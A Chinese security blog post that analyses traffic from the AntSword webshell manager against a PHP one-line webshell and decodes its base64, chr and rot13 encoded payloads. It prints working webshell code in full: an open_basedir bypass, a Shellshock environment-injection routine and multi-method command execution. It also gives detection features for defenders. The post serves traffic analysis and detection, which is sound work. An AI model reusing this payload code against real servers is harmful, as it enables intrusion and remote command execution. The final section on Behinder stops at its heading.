目录

  1. 1. 前言
  2. 2. 蚁剑流量
    1. 2.1. 环境
    2. 2.2. 分析
      1. 2.2.1. default 流量
      2. 2.2.2. base64 流量
      3. 2.2.3. chr 流量
      4. 2.2.4. rot13 流量
    3. 2.3. 特征
    4. 2.4. 功能实现
      1. 2.4.1. 文件管理
      2. 2.4.2. webshell 终端
  3. 3. 冰蝎流量

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

加密流量分析

2025/11/28 Web 流量分析
  |     |   总文章阅读量:

前言

参考:

https://www.freebuf.com/articles/web/264896.html

https://forum.butian.net/index.php/share/1996


蚁剑流量

环境

php 一句话 webshell,post 参数为 0

设置蚁剑代理到 yakit 上抓包分析

蚁剑配置编解码器

分析

default 流量

抓取测试连接的数据包:

解码请求体并格式化,分析

// 关闭错误显示,避免暴露信息
@ini_set("display_errors", "0");
// 设置脚本执行时间无限制
@set_time_limit(0);

// 获取PHP的open_basedir限制
$opdir = @ini_get("open_basedir");
if ($opdir) {
    $ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);
    // 解码base64字符串";|:/",用于分割open_basedir路径
    $oparr = preg_split(base64_decode("Lzt8Oi8="), $opdir);
    // 将当前目录和临时目录添加到数组中
    @array_push($oparr, $ocwd, sys_get_temp_dir());
    
    // 遍历所有目录,尝试绕过open_basedir限制
    foreach ($oparr as $item) {
        if (!@is_writable($item)) {
            continue;
        };
        // 创建临时目录用于测试
        $tmdir = $item . "/.e937733bd891";
        @mkdir($tmdir);
        if (!@file_exists($tmdir)) {
            continue;
        }
        $tmdir = realpath($tmdir);
        @chdir($tmdir);
        // 设置open_basedir为上级目录,尝试绕过限制
        @ini_set("open_basedir", "..");
        $cntarr = @preg_split("/\\\\|\//", $tmdir);
        // 通过多次chdir("..")回到根目录
        for ($i = 0; $i < sizeof($cntarr); $i++) {
            @chdir("..");
        };
        // 成功绕过后设置open_basedir为根目录
        @ini_set("open_basedir", "/");
        @rmdir($tmdir);
        break;
    };
};

// 加密函数(default为空)
function asenc($out)
{
    return $out;
};

// 输出函数,用于封装返回数据
function asoutput()
{
    $output = ob_get_contents();
    ob_end_clean();
    // 输出开始标记
    echo "ee69b" . "ffbe3";
    echo @asenc($output);
    // 输出结束标记
    echo "d7a1" . "8240";
}

// 开始输出缓冲
ob_start();
try {
    $D = dirname($_SERVER["SCRIPT_FILENAME"]);
    if ($D == "") $D = dirname($_SERVER["PATH_TRANSLATED"]);
    $R = "{$D}	";  // 当前目录
    
    // 检测系统类型和磁盘
    if (substr($D, 0, 1) != "/") {
        // Windows系统:检测C到Z盘
        foreach (range("C", "Z") as $L) if (is_dir("{$L}:")) $R .= "{$L}:";
    } else {
        // Linux/Unix系统:根目录
        $R .= "/";
    }
    $R .= "	";  // 制表符分隔
    
    // 获取当前用户信息
    $u = (function_exists("posix_getegid")) ? @posix_getpwuid(@posix_geteuid()) : "";
    $s = ($u) ? $u["name"] : @get_current_user();
    
    // 获取操作系统信息
    $R .= php_uname();
    $R .= "	{$s}";  // 用户名
    
    echo $R;;
} catch (Exception $e) {
    echo "ERROR://" . $e->getMessage();
};

// 输出封装后的数据
asoutput();
die();

测试连接的数据包中使用了 $D = dirname($_SERVER["SCRIPT_FILENAME"]); 获取当前目录、使用 php_uname 获取当前操作系统信息、使用 posix_getegidget_current_user 获取当前用户信息

输入到缓冲区再由 $output 变量接收,通过随机字符作为开始结束符定位变量输出位置,当然也可以自己指定字符界定:


base64 流量

请求的流量 url 解码后如下:

@eval(@base64_decode($_POST['ib1723d0358b9']));&ib1723d0358b9=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwgIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7JG9wZGlyPUBpbmlfZ2V0KCJvcGVuX2Jhc2VkaXIiKTtpZigkb3BkaXIpIHskb2N3ZD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7JG9wYXJyPXByZWdfc3BsaXQoYmFzZTY0X2RlY29kZSgiTHp0OE9pOD0iKSwkb3BkaXIpO0BhcnJheV9wdXNoKCRvcGFyciwkb2N3ZCxzeXNfZ2V0X3RlbXBfZGlyKCkpO2ZvcmVhY2goJG9wYXJyIGFzICRpdGVtKSB7aWYoIUBpc193cml0YWJsZSgkaXRlbSkpe2NvbnRpbnVlO307JHRtZGlyPSRpdGVtLiIvLmM3OWUyYSI7QG1rZGlyKCR0bWRpcik7aWYoIUBmaWxlX2V4aXN0cygkdG1kaXIpKXtjb250aW51ZTt9JHRtZGlyPXJlYWxwYXRoKCR0bWRpcik7QGNoZGlyKCR0bWRpcik7QGluaV9zZXQoIm9wZW5fYmFzZWRpciIsICIuLiIpOyRjbnRhcnI9QHByZWdfc3BsaXQoIi9cXFxcfFwvLyIsJHRtZGlyKTtmb3IoJGk9MDskaTxzaXplb2YoJGNudGFycik7JGkrKyl7QGNoZGlyKCIuLiIpO307QGluaV9zZXQoIm9wZW5fYmFzZWRpciIsIi8iKTtAcm1kaXIoJHRtZGlyKTticmVhazt9O307O2Z1bmN0aW9uIGFzZW5jKCRvdXQpe3JldHVybiAkb3V0O307ZnVuY3Rpb24gYXNvdXRwdXQoKXskb3V0cHV0PW9iX2dldF9jb250ZW50cygpO29iX2VuZF9jbGVhbigpO2VjaG8gIjAwOCIuIjk1NmQiO2VjaG8gQGFzZW5jKCRvdXRwdXQpO2VjaG8gImJkMGJkNiIuImU5NzZkMiI7fW9iX3N0YXJ0KCk7dHJ5eyREPWRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKTtpZigkRD09IiIpJEQ9ZGlybmFtZSgkX1NFUlZFUlsiUEFUSF9UUkFOU0xBVEVEIl0pOyRSPSJ7JER9CSI7aWYoc3Vic3RyKCRELDAsMSkhPSIvIil7Zm9yZWFjaChyYW5nZSgiQyIsIloiKWFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9ZWxzZXskUi49Ii8iO30kUi49IgkiOyR1PShmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldGVnaWQiKSk/QHBvc2l4X2dldHB3dWlkKEBwb3NpeF9nZXRldWlkKCkpOiIiOyRzPSgkdSk/JHVbIm5hbWUiXTpAZ2V0X2N1cnJlbnRfdXNlcigpOyRSLj1waHBfdW5hbWUoKTskUi49Igl7JHN9IjtlY2hvICRSOzt9Y2F0Y2goRXhjZXB0aW9uICRlKXtlY2hvICJFUlJPUjovLyIuJGUtPmdldE1lc3NhZ2UoKTt9O2Fzb3V0cHV0KCk7ZGllKCk7

base64 部分解码后和 default 一样

可见蚁剑会随机生成一个参数传入 base64 编码后的代码,密码参数的值是通过 POST 获取随机参数的值然后进行 base64 解码后使用 eval 执行

如果把解码器设置为 base64,响应包内容会进行 base64 编码返回

c9a25acf7L3Zhci93d3cvaHRtbAkvCUxpbnV4IDllMjcyYmI1NzQ1OCA2LjEyLjU0LWxpbnV4a2l0ICMxIFNNUCBUdWUgTm92ICA0IDIxOjIxOjQ3IFVUQyAyMDI1IHg4Nl82NAl3d3ctZGF0YQ==52f7ba

可以看到这里的响应包直接 base64 解不开,此时解码一下请求包观察一下加密

function asenc($out)
{
    return @base64_encode($out);
};
function asoutput()
{
    $output = ob_get_contents();
    ob_end_clean();
    echo "c9a2" . "5acf7";
    echo @asenc($output);
    echo "52f" . "7ba";
}

可以看到这里是最简易的 base64_encode,只是输出结果中掺了前面的界定符,删去界定符即可解出正确的输出

L3Zhci93d3cvaHRtbAkvCUxpbnV4IDllMjcyYmI1NzQ1OCA2LjEyLjU0LWxpbnV4a2l0ICMxIFNNUCBUdWUgTm92ICA0IDIxOjIxOjQ3IFVUQyAyMDI1IHg4Nl82NAl3d3ctZGF0YQ==

chr 流量

大小写 + ascii 过 chr 返回字符


rot13 流量

这里编解码均选择 rot13

function asenc($out)
{
    return str_rot13($out);
};
function asoutput()
{
    $output = ob_get_contents();
    ob_end_clean();
    echo "487de" . "a8be0";
    echo @asenc($output);
    echo "5ccf" . "21b31";
}

特征

测试流量中的数据包都是采用 @ini_set 函数开头,在 base64 数据包中它是 QGluaV9zZXQ,在 chr 编码数据包中是 cHr(64).ChR(105).ChR(110).ChR(105).ChR(95).ChR(115).ChR(101).ChR(116),在 rot13 编码数据包中是 @vav_frg 并且编码后的数据包中都存在 eval 这个敏感函数


功能实现

来都来了,再看看蚁剑的功能实现

文件管理

try {
    $D = base64_decode(substr($_POST["p4cb5f917cc47d"], 2));
    $F = @opendir($D);
    if ($F == NULL) {
        echo ("ERROR:// Path Not Found Or No Permission!");
    } else {
        $M = NULL;
        $L = NULL;
        while ($N = @readdir($F)) {
            $P = $D . $N;
            $T = @date("Y-m-d H:i:s", @filemtime($P));
            @$E = substr(base_convert(@fileperms($P), 10, 8), -4);
            $R = "	" . $T . "	" . @filesize($P) . "	" . $E . "
";
            if (@is_dir($P)) $M .= $N . "/" . $R;
            else $L .= $N . $R;
        }
        echo $M . $L;
        @closedir($F);
    };
} catch (Exception $e) {
    echo "ERROR://" . $e->getMessage();
};

注意这里的 base64_decode(substr($_POST["p4cb5f917cc47d"], 2)),是从第三个字符开始进行 base64 解码的,也就是说对于这里的 IML3Zhci93d3cvaHRtbC8%3D,$D 实际的参数值是 /var/www/html/


webshell 终端

本质上还是利用 php 的命令执行函数,不是一个完整的 shell,只是结果更易读了

在 /var/www/html 下打开终端,执行 ls

try {
    // 从POST参数解码命令和参数
    $p = base64_decode(substr($_POST["i90659ac15e848"], 2));  // 主命令/程序
    $s = base64_decode(substr($_POST["s34a4100eb3bde"], 2));  // 命令参数
    $envstr = @base64_decode(substr($_POST["f01dc94a142fc6"], 2));  // 环境变量
    
    $d = dirname($_SERVER["SCRIPT_FILENAME"]);
    
    // 根据操作系统设置不同的命令行参数格式
    $c = substr($d, 0, 1) == "/" ? "-c \"{$s}\"" : "/c \"{$s}\"";
    
    // 设置系统PATH环境变量,确保可以找到常用命令
    if (substr($d, 0, 1) == "/") {
        // Linux系统:添加常用二进制目录
        @putenv("PATH=" . getenv("PATH") . ":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
    } else {
        // Windows系统:添加系统目录
        @putenv("PATH=" . getenv("PATH") . ";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");
    }
    
    // 处理额外的环境变量
    if (!empty($envstr)) {
        $envarr = explode("|||asline|||", $envstr);
        foreach ($envarr as $v) {
            if (!empty($v)) {
                @putenv(str_replace("|||askey|||", "=", $v));
            }
        }
    }
    
    // 组合完整的命令
    $r = "{$p} {$c}";
    
    // 检查函数是否可用(是否被禁用)
    function fe($f)
    {
        $d = explode(",", @ini_get("disable_functions"));
        if (empty($d)) {
            $d = array();
        } else {
            $d = array_map('trim', array_map('strtolower', $d));
        }
        return (function_exists($f) && is_callable($f) && !in_array($f, $d));
    };
    
    // 尝试利用Shellshock漏洞执行命令
    function runshellshock($d, $c)
    {
        if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {
            if (strstr(readlink("/bin/sh"), "bash") != FALSE) {
                $tmp = tempnam(sys_get_temp_dir(), 'as');
                // 利用Shellshock漏洞:通过环境变量注入命令
                putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");
                if (fe('error_log')) {
                    error_log("a", 1);
                } else {
                    mail("a@127.0.0.1", "", "", "-bv");
                }
            } else {
                return False;
            }
            $output = @file_get_contents($tmp);
            @unlink($tmp);
            if ($output != "") {
                print($output);
                return True;
            }
        }
        return False;
    };
    
    // 执行系统命令的多种尝试方法
    function runcmd($c)
    {
        $ret = 0;
        $d = dirname($_SERVER["SCRIPT_FILENAME"]);
        
        // 方法1: system()函数
        if (fe('system')) {
            @system($c, $ret);
        }
        // 方法2: passthru()函数
        elseif (fe('passthru')) {
            @passthru($c, $ret);
        }
        // 方法3: shell_exec()函数
        elseif (fe('shell_exec')) {
            print(@shell_exec($c));
        }
        // 方法4: exec()函数
        elseif (fe('exec')) {
            @exec($c, $o, $ret);
            print(join("\n", $o));
        }
        // 方法5: popen()函数
        elseif (fe('popen')) {
            $fp = @popen($c, 'r');
            while (!@feof($fp)) {
                print(@fgets($fp, 2048));
            }
            @pclose($fp);
        }
        // 方法6: proc_open()函数
        elseif (fe('proc_open')) {
            $p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);
            while (!@feof($io[1])) {
                print(@fgets($io[1], 2048));
            }
            while (!@feof($io[2])) {
                print(@fgets($io[2], 2048));
            }
            @fclose($io[1]);
            @fclose($io[2]);
            @proc_close($p);
        }
        // 方法7: antsystem()函数(某些特定环境)
        elseif (fe('antsystem')) {
            @antsystem($c);
        }
        // 方法8: 尝试Shellshock漏洞利用
        elseif (runshellshock($d, $c)) {
            return $ret;
        }
        // 方法9: Windows COM组件
        elseif (substr($d, 0, 1) != "/" && @class_exists("COM")) {
            $w = new COM('WScript.shell');
            $e = $w->exec($c);
            $so = $e->StdOut();
            $ret .= $so->ReadAll();
            $se = $e->StdErr();
            $ret .= $se->ReadAll();
            print($ret);
        }
        // 所有方法都失败
        else {
            $ret = 127;  // 返回错误代码
        }
        return $ret;
    };
    
    // 执行命令并捕获输出
    $ret = @runcmd($r . " 2>&1");  // 2>&1 将标准错误重定向到标准输出
    print ($ret != 0) ? "ret={$ret}" : "";  // 如果返回码不为0,显示错误代码
    
} catch (Exception $e) {
    echo "ERROR://" . $e->getMessage();
};

同样是参数从第三个字符开始解码

f01dc94a142fc6=S2&i90659ac15e848=o2L2Jpbi9zaA%3D%3D&s34a4100eb3bde=9aY2QgIi92YXIvd3d3L2h0bWwiO2xzO2VjaG8gNjExYzA5YTBkO3B3ZDtlY2hvIGQ0YzhkYzBjNzg%3D
/bin/sh
cd "/var/www/html";ls;echo 611c09a0d;pwd;echo d4c8dc0c78

那么结合脚本,执行的完整命令是:

/bin/sh -c "cd \"/var/www/html\";ls;echo 611c09a0d;pwd;echo d4c8dc0c78"

所以,在蚁剑的终端中使用 " 需要小心,避免出现闭合问题;然后就是经典的随机界定符来输出当前执行的目录


冰蝎流量